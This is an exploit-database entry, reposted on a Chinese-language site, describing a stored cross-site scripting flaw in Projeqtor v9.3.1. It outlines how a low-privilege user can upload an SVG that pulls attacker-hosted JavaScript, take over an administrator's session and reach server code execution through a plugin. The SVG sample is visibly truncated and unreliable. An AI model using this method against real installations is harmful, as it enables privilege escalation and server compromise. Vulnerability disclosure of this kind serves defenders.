Projeqtor v9.3.1 – Stored Cross Site Scripting (XSS) - 体验盒子

作者： Oscar Gil Gutierrez

日期： 2022-01-05

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/50641/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

# Exploit Title: Projeqtor v9.3.1 - Stored Cross Site Scripting (XSS)

# Exploit Author: Oscar Gutierrez (m4xp0w3r)

# Date: January 4, 2021

# Vendor Homepage: https://www.projeqtor.org/en/

# Software Link: https://www.projeqtor.org/en/product-en/downloads

# Tested on: Ubuntu, LAAMP

# Vendor: Projeqtor

# Version: v9.3.1

# Exploit Description:

Projeqtor version 9.3.1 suffers from a stored XSS vulnerability via SVG file upload. A low level user can upload svg images that contain malicious Javascript. In this way an attacker can escalate privileges and upload a malicious plugin which results in arbitrary code execution in the server hosting the application.

# Steps to reproduce:

Upload the following XML code as an SVG file and change the xlink for a location that you control. Once the administrator user opens the attachment, the Javascript code hosted by the attacker will execute.

<?xml version="1.0" standalone="no"?>

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

</svg>